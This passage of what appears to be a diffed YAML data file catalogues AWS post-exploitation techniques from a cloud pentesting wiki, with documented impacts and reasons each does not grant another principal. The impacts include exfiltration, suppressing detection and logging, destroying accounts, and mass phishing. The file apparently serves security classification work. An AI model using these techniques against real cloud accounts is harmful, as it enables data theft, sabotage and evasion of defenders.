execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotcreatetopicrule--iampassrole--durable-fleet-wide-mqtt-exfiltration + technique: '`iot:CreateTopicRule` + `iam:PassRole` — durable fleet-wide MQTT exfiltration' + reason: 'Documented impact: Continuous, fleet-wide exfiltration of all IoT MQTT traffic (device telemetry, shadow + updates, commands — frequently containing secrets, tokens, and PII) to an attacker sink, server-side and with + no live connection, persisting... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendracreatedatasource--updatedatasource--iampassrole--poison-or-repoint-ingestion + technique: '`kendra:CreateDataSource` / `UpdateDataSource` (+ `iam:PassRole`) — poison or repoint ingestion' + reason: 'Documented impact: Adds attacker-controlled material to search/RAG results or causes Kendra to ingest + repository content reachable by the connector role. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendraputprincipalmapping--alter-group-resolution-for-acl-filtered-queries + technique: '`kendra:PutPrincipalMapping` — alter group resolution for ACL-filtered queries' + reason: 'Documented impact: Expands the Kendra search results visible to the mapped identity, exposing answer + excerpts, passages, titles, URIs, and metadata from ACL-restricted indexed content. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#read-sensitive-table-rows-with-cassandraselect + technique: Read sensitive table rows with `cassandra:Select` + reason: 'Documented impact: theft of credentials, tokens, customer records, application configuration and any + other material stored in the selected table. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#blindly-poison-or-delete-rows-with-cassandramodify + technique: Blindly poison or delete rows with `cassandra:Modify` + reason: 'Documented impact: application compromise through poisoned configuration, account takeover through token/session + manipulation, fraudulent records, integrity loss or destructive deletion without the ability to read the victim + data. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#inject-or-replace-camera-evidence-with-putmedia + technique: Inject or replace camera evidence with `PutMedia` + reason: 'Documented impact: forge or contaminate surveillance evidence, trigger downstream Rekognition/analytics + workflows, consume storage, or deny ingestion by conflicting with the real producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#impersonation-via-kmssign + technique: Impersonation via kms:Sign + reason: 'Documented impact: Produce signatures that verify against the organisation''s trusted public key — forge + JWTs, signed documents, code-signing artefacts or any assertion that key vouches for. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#delete-keys-via-kmsdeleteimportedkeymaterial + technique: Delete Keys via kms:DeleteImportedKeyMaterial + reason: 'Documented impact: Instantly render all data under a BYOK CMK undecryptable — no waiting period at all, + unlike ScheduleKeyDeletion. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationputdatalakesettings--add-a-data-lake-administrator + technique: '`lakeformation:PutDataLakeSettings` — add a data lake administrator' + reason: 'Documented impact: Obtain Regional LF grant authority and weaken the permission model for new resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgrantpermissions--grant-catalog-or-table-access-to-self + technique: '`lakeformation:GrantPermissions` — grant catalog or table access to self' + reason: 'Documented impact: Grant controlled metadata or governed-data access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgetdataaccess--abuse-an-authorized-external-engine-session + technique: '`lakeformation:GetDataAccess` — abuse an authorized external-engine session' + reason: 'Documented impact: Read raw objects within the vended prefix through a compromised authorized engine + session. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationupdatelftagexpression--widen-existing-lf-tbac-grants + technique: '`lakeformation:UpdateLFTagExpression` — widen existing LF-TBAC grants' + reason: This widens Lake Formation data grants through a saved tag expression, subject to existing grant and LF + permissions; it does not provide an IAM role session or AWS-account administrator authority. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#glueputresourcepolicy--expose-data-catalog-metadata-cross-account + technique: '`glue:PutResourcePolicy` — expose Data Catalog metadata cross-account' + reason: 'Documented impact: Expose metadata or catalog mutation APIs permitted by the inserted statement, but + not the underlying S3 objects by itself. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdalistfunctions-and-lambdalistversionsbyfunction--read-plaintext-environment-variables + technique: '`lambda:ListFunctions` and `lambda:ListVersionsByFunction` — read plaintext environment variables' + reason: 'Documented impact: Account-wide or per-function disclosure of credentials, tokens, endpoints, and other + secrets stored directly in Lambda environment variables. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdacreatemicrovmauthtoken--reach-lambda-microvm-application-ports + technique: '`lambda:CreateMicrovmAuthToken` — reach Lambda MicroVM application ports' + reason: 'Documented impact: Authenticated access to otherwise protected services on an existing Lambda MicroVM, + potentially disclosing workload data or reaching a privileged debug/admin interface; the concrete impact is + application-dependent. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdagetdurableexecutionhistory--disclose-durable-workflow-data + technique: '`lambda:GetDurableExecutionHistory` — disclose durable workflow data' + reason: 'Documented impact: Disclosure of business inputs, secrets, personal data, intermediate decisions, errors, + callback payloads, and final results retained in a long-running workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaupdatenetworkconnector--change-lambda-microvm-private-network-egress + technique: '`lambda:UpdateNetworkConnector` — change Lambda MicroVM private-network egress' + reason: 'Documented impact: Redirect the private egress path of MicroVM workloads that use the connector into + another subnet/security boundary, enabling access to newly reachable private services, controlled DNS/NAT/proxy + paths, traffic denial, or... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdadelete + technique: '`lambda:Delete*`' + reason: 'Documented impact: Destruction of function code, versions, aliases, layers and event source mappings + — an outage of everything those functions drive, plus loss of the code itself where it is not stored elsewhere. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputfunctionconcurrency--silently-disable-a-function-without-deleting-it + technique: '`lambda:PutFunctionConcurrency` — silently disable a function without deleting it' + reason: 'Documented impact: Complete, instant and easily-reversible denial of service against any Lambda function + — used against defensive automation, it blinds the account''s response capability while every control-plane + health signal continues to report... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md#aws-lambda--efs-mount-injection-via-updatefunctionconfiguration-data-theft + technique: AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft) + reason: 'Documented impact: Read and exfiltrate shared configuration and secrets stored on in-VPC EFS file systems + that the target function previously could not reach, by mounting an arbitrary EFS Access Point into a function + you can reconfigure and invoke. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdacreateeventsourcemapping--attach-a-source-to-an-existing-privileged-function + technique: '`lambda:CreateEventSourceMapping` — attach a source to an existing privileged function' + reason: 'Documented impact: Trigger a privileged, unchanged victim function against an attacker-chosen (but role-reachable) + source, causing its fixed sensitive behavior to run on attacker-influenced records without code execution, source + read, or... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdaupdateeventsourcemapping--redirect-an-existing-mapping + technique: '`lambda:UpdateEventSourceMapping` — redirect an existing mapping' + reason: 'Documented impact: Divert live records from an existing DynamoDB Streams/Kinesis/SQS source into an attacker-controlled + Lambda, obtaining continuous read (and tampering) of the victim''s in-flight data without modifying producers + or the original... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md#aws-lambda--runtime-pinningrollback-abuse-via-putruntimemanagementconfig + technique: AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig + reason: The section documents the resource or service effect of AWS Lambda – Runtime Pinning/Rollback Abuse via + PutRuntimeManagementConfig, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercheckoutborrowlicense--checkoutlicense--consume-or-steal-seller-issued-entitlements + technique: '`license-manager:CheckoutBorrowLicense` / `CheckoutLicense` — consume or steal seller-issued entitlements' + reason: 'Documented impact: Unauthorized software use, theft of an offline signed license, exhaustion of finite + license capacity, and denial of legitimate application activation. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercreategrant--distribute-license-operations-to-an-external-aws-account + technique: '`license-manager:CreateGrant` — distribute license operations to an external AWS account' + reason: 'Documented impact: Durable cross-account access to valuable seller-issued entitlements and the ability + to consume or redistribute them according to AllowedOperations. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managerupdatelicenseconfiguration--updatelicensespecificationsforresource--tamper-with-license-enforcement + technique: '`license-manager:UpdateLicenseConfiguration` / `UpdateLicenseSpecificationsForResource` — tamper with + license enforcement' + reason: 'Documented impact: EC2 launch denial, inaccurate license-compliance reporting, untracked software use, + or forced consumption of a targeted license pool. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createinvitations--acceptinvitation--updateorganizationconfiguration--macie-administrator-takeover + technique: '`macie2:CreateInvitations` / `AcceptInvitation` / `UpdateOrganizationConfiguration` — Macie administrator + takeover' + reason: 'Documented impact: Conditional org-wide visibility into member accounts'' Macie findings and sensitive-data + locations from the approved administrator account. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2getsensitivedataoccurrences--updaterevealconfiguration--retrieve-the-actual-sensitive-values + technique: '`macie2:GetSensitiveDataOccurrences` (+ `UpdateRevealConfiguration`) — retrieve the actual sensitive + values' + reason: 'Documented impact: Direct exfiltration of the sensitive samples (PII, credentials, financial/health data) + referenced by a valid finding. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2putclassificationexportconfiguration--redirect-the-sensitive-data-discovery-map-to-an-attacker-bucket + technique: '`macie2:PutClassificationExportConfiguration` — redirect the sensitive-data discovery map to an attacker + bucket' + reason: 'Documented impact: Continuous exfiltration of the full sensitive-data discovery inventory (locations + of all PII/secrets across scanned S3 buckets) to attacker infrastructure. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createfindingsfilter-suppress--updatemaciesession--updateclassificationjob--blind-the-detection + technique: '`macie2:CreateFindingsFilter` (SUPPRESS) / `UpdateMacieSession` / `UpdateClassificationJob` — blind + the detection' + reason: 'Documented impact: Detection evasion — suppress or stop sensitive-data/policy findings so malicious S3 + exposure or exfiltration is not reported. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2getsignedbluinsightsurl---obtain-a-blu-insights-portal-session + technique: '`m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights portal session' + reason: This heading concerns reading or exporting data via `m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights + portal session; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetexporttask---export-application-data-sets-to-s3 + technique: '`m2:CreateDataSetExportTask` - Export application data sets to S3' + reason: This heading concerns reading or exporting data via `m2:CreateDataSetExportTask` - Export application + data sets to S3; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetimporttask---poison-migrated-application-data + technique: '`m2:CreateDataSetImportTask` - Poison migrated application data' + reason: The section documents the resource or service effect of `m2:CreateDataSetImportTask` - Poison migrated + application data, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-prometheus-post-exploitation/README.md#blind-metric-and-alert-poisoning-with-apsremotewrite + technique: Blind metric and alert poisoning with `aps:RemoteWrite` + reason: 'Documented impact: corrupt monitoring evidence, trigger or suppress autoscaling and incident workflows + that consume AMP data, create false alerts, obscure compromise, and increase ingestion/storage/query cost. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetbuyerdashboard--mint-an-anonymous-procurement-dashboard-url + technique: '`aws-marketplace:GetBuyerDashboard` — mint an anonymous procurement dashboard URL' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetBuyerDashboard` — mint an anonymous + procurement dashboard URL; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetentitlements--enumerate-seller-customers-and-capacity + technique: '`aws-marketplace:GetEntitlements` — enumerate seller customers and capacity' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetEntitlements` — enumerate seller + customers and capacity; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplaceputdeploymentparameter--poison-buyer-quick-launch-secrets + technique: '`aws-marketplace:PutDeploymentParameter` — Poison buyer Quick Launch secrets' + reason: The section documents the resource or service effect of `aws-marketplace:PutDeploymentParameter` — Poison + buyer Quick Launch secrets, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacebatchmeterusage--inflate-or-duplicate-saas-customer-usage + technique: '`aws-marketplace:BatchMeterUsage` — inflate or duplicate SaaS customer usage' + reason: The section documents the resource or service effect of `aws-marketplace:BatchMeterUsage` — inflate or + duplicate SaaS customer usage, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacemeterusage--poison-a-buyer-workloads-hourly-usage-record + technique: '`aws-marketplace:MeterUsage` — poison a buyer workload''s hourly usage record' + reason: The section documents the resource or service effect of `aws-marketplace:MeterUsage` — poison a buyer + workload's hourly usage record, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacestartchangeset--seller-supply-chain-or-procurement-policy-tampering + technique: '`aws-marketplace:StartChangeSet` — seller supply-chain or procurement-policy tampering' + reason: The section documents the resource or service effect of `aws-marketplace:StartChangeSet` — seller supply-chain + or procurement-policy tampering, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-medialive-video-post-exploitation/README.md#read-current-video--medialivedescribethumbnails + technique: Read current video — `medialive:DescribeThumbnails` + reason: This heading concerns reading or exporting data via Read current video — `medialive:DescribeThumbnails`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#authenticate-directly-with-memorydbconnect + technique: Authenticate directly with `memorydb:Connect` + reason: 'Documented impact: Read, modify or delete every key and invoke every command granted by the targeted + MemoryDB user''s access string, potentially exposing session tokens, credentials, PII and application state. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#export-a-snapshot-to-s3-with-memorydbcopysnapshot + technique: Export a snapshot to S3 with `memorydb:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a MemoryDB cluster''s dataset (all keys/values) to attacker-controlled + S3, with no route to the cluster endpoint and no ACL/AUTH credential. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#memorydbupdatecluster---remove-authentication-andor-replace-the-network-perimeter + technique: '`memorydb:UpdateCluster` - remove authentication and/or replace the network perimeter' + reason: 'Documented impact: Full unauthenticated read, modification and deletion of the reachable cluster dataset, + including session tokens, credentials, PII and application state. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-database-with-only-neptune-dbreaddataviaquery + technique: Query a Neptune database with only `neptune-db:ReadDataViaQuery` + reason: 'Documented impact: Read graph vertices, edges, and properties accessible to the query, including application + data or secrets stored in the graph. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#recover-the-change-log-with-only-neptune-dbgetstreamrecords + technique: Recover the change log with only `neptune-db:GetStreamRecords` + reason: 'Documented impact: Read retained graph changes, including deleted or modified property values that may + no longer be returned by a current-state query. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-analytics-graph-with-only-neptune-graphreaddataviaquery + technique: Query a Neptune Analytics graph with only `neptune-graph:ReadDataViaQuery` + reason: 'Documented impact: Read vertices, edges, and properties from the authorized graph through read-only openCypher + queries. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdatefirewallpolicy--associatefirewallpolicy--neuter-the-rules + technique: '`network-firewall:UpdateFirewallPolicy` / `AssociateFirewallPolicy` — neuter the rules' + reason: 'Documented impact: All egress/ingress the firewall was blocking (C2 domains, exfil endpoints, lateral + movement) is now permitted, with the control still appearing configured. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewalldisassociatesubnets--remove-firewall-endpoints + technique: '`network-firewall:DisassociateSubnets` — remove firewall endpoints' + reason: 'Documented impact: Removes inspection endpoints from selected Availability Zones. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdateloggingconfiguration--stop-flowalert-logging-blind + technique: '`network-firewall:UpdateLoggingConfiguration` — stop flow/alert logging (blind)' + reason: 'Documented impact: The firewall keeps filtering but its stateful inspection telemetry goes dark, or is + redirected, reducing detection and forensic visibility while the attacker operates. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputattachmentroutingpolicylabel---apply-or-remove-route-filters + technique: '`networkmanager:PutAttachmentRoutingPolicyLabel` - Apply or remove route filters' + reason: The section documents the resource or service effect of `networkmanager:PutAttachmentRoutingPolicyLabel` + - Apply or remove route filters, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagertagresource--untagresource---move-an-attachment-through-tag-based-policy + technique: '`networkmanager:TagResource` / `UntagResource` - Move an attachment through tag-based policy' + reason: The section documents the resource or service effect of `networkmanager:TagResource` / `UntagResource` + - Move an attachment through tag-based policy, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanageracceptattachment--rejectattachment---admit-a-foreign-network-or-deny-a-legitimate-one + technique: '`networkmanager:AcceptAttachment` / `RejectAttachment` - Admit a foreign network or deny a legitimate + one' + reason: The section documents the resource or service effect of `networkmanager:AcceptAttachment` / `RejectAttachment` + - Admit a foreign network or deny a legitimat, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputcorenetworkpolicy--networkmanagerexecutecorenetworkchangeset---rewrite-global-segmentation-and-routing + technique: '`networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` - Rewrite global + segmentation and routing' + reason: The section documents the resource or service effect of `networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` + - Rewrite globa, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerupdaterule--weaken-centrally-deployed-waf-protections + technique: '`network-security-manager:UpdateRule` — weaken centrally deployed WAF protections' + reason: 'Documented impact: Weaken WAF protection, monitoring or data handling across every in-scope ALB, API + Gateway stage or CloudFront distribution that consumes the rule. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeletedeployment--remove-centralized-enforcement + technique: '`network-security-manager:DeleteDeployment` — remove centralized enforcement' + reason: 'Documented impact: Stop central drift detection/remediation for the covered scope and, when cleanup is + enabled, remove Network Security Manager-created WAF or Shield protections. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeleteadminaccount--disable-one-administrators-multi-account-protections + technique: '`network-security-manager:DeleteAdminAccount` — disable one administrator''s multi-account protections' + reason: 'Documented impact: Disable every multi-account scope and deployment owned by that administrator and initiate + cleanup of its managed protections across the delegated organization scope. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbcreateautonomousdatabasewallet--export-fresh-database-client-material + technique: '`odb:CreateAutonomousDatabaseWallet` — export fresh database client material' + reason: 'Documented impact: Recover fresh TLS client keys/certificates and database connection configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-opensearch-cross-account-post-exploitation/README.md#escreateoutboundconnection-esauthorizevpcendpointaccess--cross-account-data-plane-reach + technique: '`es:CreateOutboundConnection`, `es:AuthorizeVpcEndpointAccess` — cross-account data-plane reach' + reason: 'Documented impact: Extends the OpenSearch domain''s reachability to an attacker-controlled account — + a VPC-endpoint network path into the domain''s VPC, or a cross-cluster connection over which indices can be + searched/replicated — complementing... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationsdisableawsserviceaccess--deregisterdelegatedadministrator--blind-the-whole-orgs-security-stack-in-one-call + technique: '`organizations:DisableAWSServiceAccess` / `DeregisterDelegatedAdministrator` — blind the whole org''s + security stack in one call' + reason: 'Documented impact: Organization-wide loss of detection, posture or response management — GuardDuty, Security + Hub, Config, IAM Access Analyzer, CloudTrail or Security IR stop operating at org scope across member accounts. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationscloseaccount--destroy-member-accounts-from-the-management-account + technique: '`organizations:CloseAccount` — destroy member accounts from the management account' + reason: 'Documented impact: Irreversible destruction of entire member accounts and everything in them — the most + complete ransomware/wiper primitive available in AWS, since it removes the account rather than individual resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-partner-central-account-post-exploitation/README.md#recover-a-partner-verification-workflow--partnercentralgetverification + technique: Recover a Partner verification workflow — `partnercentral:GetVerification` + reason: 'Documented impact: disclose business registration identifiers, verification failures/state, and a live + verification-completion link. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--forge-slurm-rest-jwts + technique: '`pcs:GetCluster`, `secretsmanager:GetSecretValue` — Forge Slurm REST JWTs' + reason: This heading concerns reading or exporting data via `pcs:GetCluster`, `secretsmanager:GetSecretValue` + — Forge Slurm REST JWTs; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#sms-voicesendtextmessage--sendvoicemessage--smishing--vishing-from-a-trusted-origination-identity + technique: '`sms-voice:SendTextMessage` / `SendVoiceMessage` — smishing / vishing from a trusted origination identity' + reason: 'Documented impact: Send phishing SMS / automated voice calls from the victim''s trusted, deliverability-warmed + phone numbers, abusing the organization''s reputation against employees or customers. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingsendmessages--sendusersmessages--direct-multi-channel-send + technique: '`mobiletargeting:SendMessages` / `SendUsersMessages` — direct multi-channel send' + reason: 'Documented impact: Phishing across SMS/email/push/voice from the victim''s Pinpoint project, including + to endpoints already enrolled in it. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingcreatecampaign--createjourney--mass-phishing-to-the-victims-own-audience + technique: '`mobiletargeting:CreateCampaign` / `CreateJourney` — mass phishing to the victim''s own audience' + reason: 'Documented impact: One call phishes the organization''s entire stored audience (potentially millions + of endpoints) from its trusted channels; journeys make it an automated, recurring campaign. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-in-connect-post-exploitation/README.md#wisdomlistmessages--wisdomlistspans--read-conversations-and-ai-agent-traces + technique: '`wisdom:ListMessages` / `wisdom:ListSpans` — Read conversations and AI-agent traces' + reason: This heading concerns reading or exporting data via `wisdom:ListMessages` / `wisdom:ListSpans` — Read + conversations and AI-agent traces; it does not itself authorize a different AWS principal or execute code as + its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + reason: This heading concerns reading or exporting data via Harvest DB credentials via RDS Proxy auth secrets + (`rds:DescribeDBProxies` + `secretsmanager:GetSecr; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdownloaddblogfileportion + technique: 